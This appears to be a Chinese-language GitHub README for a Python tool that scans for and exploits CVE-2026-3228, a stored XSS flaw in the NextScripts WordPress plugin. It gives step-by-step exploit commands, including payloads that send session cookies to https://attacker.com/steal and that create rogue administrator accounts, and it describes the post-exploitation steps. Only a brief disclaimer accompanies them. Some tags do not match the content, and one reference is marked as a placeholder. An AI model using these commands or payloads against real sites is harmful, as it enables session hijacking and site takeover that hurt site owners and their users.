NULL200OK/CVE-2026-3228
GitHub: NULL200OK/CVE-2026-3228
针对WordPress NextScripts插件CVE-2026-3228存储型XSS漏洞的一体化扫描与利用工具,支持预认证检测和多种payload注入方式。
Stars: 1 | Forks: 0
# CVE-2026-3228 - NextScripts WordPress Plugin 存储型 XSS 扫描器与利用工具
https://img.shields.io/badge/python-3.6+-blue.svg
https://img.shields.io/badge/license-MIT-green
https://img.shields.io/badge/WordPress-Plugin-red
作者:NULL200OK
一款全面的 Python 工具,用于扫描和利用 CVE-2026-3228,这是 NextScripts: Social Networks Auto-Poster WordPress 插件(版本 ≤ 4.4.6)中的一个存储型跨站脚本(XSS)漏洞。
该漏洞允许具有贡献者级别或更高权限的认证用户通过 [nxs_fbembed] 短代码注入任意 JavaScript。当管理员查看受感染的帖子时,脚本会在其浏览器中执行,可能导致会话劫持、管理员账户创建或网站沦陷。
📦 **功能**
info – 显示详细的 CVE 信息(描述、根本原因、影响)。
scan – 预认证扫描以检测插件及其版本。
check – 使用凭据进行全面检查(登录、权限验证、版本检测)。
exploit – 使用易受攻击的短代码将恶意 XSS payload 注入到新帖子中。
多种 payload 类型:
alert – 用于概念验证的简单警告框。
cookie – 窃取会话 cookie 并将其发送到回调 URL。
admin – 尝试创建新的管理员用户(需要管理员查看页面)。
html – 带有 onerror 事件的基本 HTML 注入。
custom – 用户提供的 JavaScript。
all – 在单独的帖子中注入所有 payload 类型。
自动认证 – 处理 WordPress 登录、会话管理和 nonce 提取。
回退注入方法 – 首先尝试 REST API,然后尝试传统的表单提交。
用户友好输出 – 彩色状态消息和清晰的分步指导。
🚨 漏洞概述
CVE ID: CVE-2026-3228
CVSS 评分:6.4(中危)
受影响插件:NextScripts: Social Networks Auto-Poster ≤ 4.4.6
根本原因:
对 snapFB post meta 值的输入过滤不足。
渲染 [nxs_fbembed] 短代码时的输出转义不足。
所需权限:贡献者级别或更高权限的账户。
影响:攻击者可以在任何查看受感染帖子的用户(包括管理员)的上下文中执行任意 JavaScript,导致网站完全沦陷。
⚙️ 需求
Python 3.6+
requests
beautifulsoup4
安装依赖:
```
info Display detailed information about the CVE
scan Check if target is vulnerable (pre-auth)
check Comprehensive check with credentials
exploit Exploit the vulnerability (requires valid credentials)
```
🔧 **安装**
bash
git clone https://github.com/NULL200OK/CVE-2026-3228.git
cd CVE-2026-3228
📚 **用法**
text
usage: CVE-2026-3228.py [-h] {info,scan,check,exploit} ...
CVE-2026-3228 - NextScripts WordPress Plugin 存储型 XSS 扫描器与利用工具
positional arguments:
{info,scan,check,exploit}
info 显示详细的 CVE 信息
scan 预认证扫描以检测插件
check 使用凭据进行全面检查
exploit 注入 XSS payload
optional arguments:
-h, --help show this help message and exit
1. 显示漏洞信息
bash
python3 CVE-2026-3228.py info
3. 扫描目标(预认证)
bash
python3 CVE-2026-3228.py scan https://example.com
5. 使用凭据进行全面检查
bash
python3 CVE-2026-3228.py check https://example.com -u contributor -p password
7. 利用 – 注入 XSS payload
基本 alert payload(PoC)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type alert
窃取 cookie(需要监听器)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type cookie --callback-url https://attacker.com/steal
尝试创建管理员用户(当管理员查看页面时)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type admin
注入所有 payload 类型
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type all
自定义 JavaScript
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type custom --custom-js "console.log('pwned')"
🧠 **工作原理(分步)**
认证 – 脚本使用提供的凭据登录 WordPress 并维护会话。
权限检查 – 验证登录用户是否至少具有贡献者级别的访问权限(创建帖子所需)。
Payload 生成 – 根据所选类型创建 JavaScript payload。
注入 – 创建包含易受攻击的 [nxs_fbembed] 短代码的新帖子。恶意脚本被放置在 snapFB post meta 字段中,该字段未被插件正确过滤。
存储 – 帖子发布(或保存为草稿),payload 存储在数据库中。
触发 – 当管理员(或任何用户)查看帖子时,未过滤的脚本被渲染并在其浏览器中执行。
后渗透 – 根据 payload 的不同,攻击者可以窃取 cookie、创建管理员账户或执行其他操作。
脚本首先尝试通过 WordPress REST API 进行注入(更快、更简洁)。如果失败,它会回退到传统的表单提交,从帖子编辑器页面提取所需的 nonce。
⚠️ **免责声明**
本工具仅用于教育和授权安全测试目的。
未经授权对您不拥有或未获得明确测试许可的系统使用是非法的。作者(NULL200OK)不承担任何责任,也不对因滥用本脚本造成的任何损害负责。
📄 **许可证**
本项目根据 MIT 许可证授权 – 有关详细信息,请参阅 LICENSE 文件。
📬 **参考**
MITRE CVE‑2026‑3228(占位符)
WordPress 插件目录
OWASP 存储型 XSS
标签:CISA项目, Cookie窃取, CVE-2026-3228, CVSS 6.4, NextScripts, Python安全工具, Shortcode注入, Social Networks Auto-Poster, Webshell, Web安全, WordPress插件漏洞, 会话劫持, 加密, 协议分析, 存储型XSS, 权限提升, 漏洞扫描器, 自动化管理员创建, 蓝队分析, 跨站脚本攻击, 身份认证绕过, 逆向工具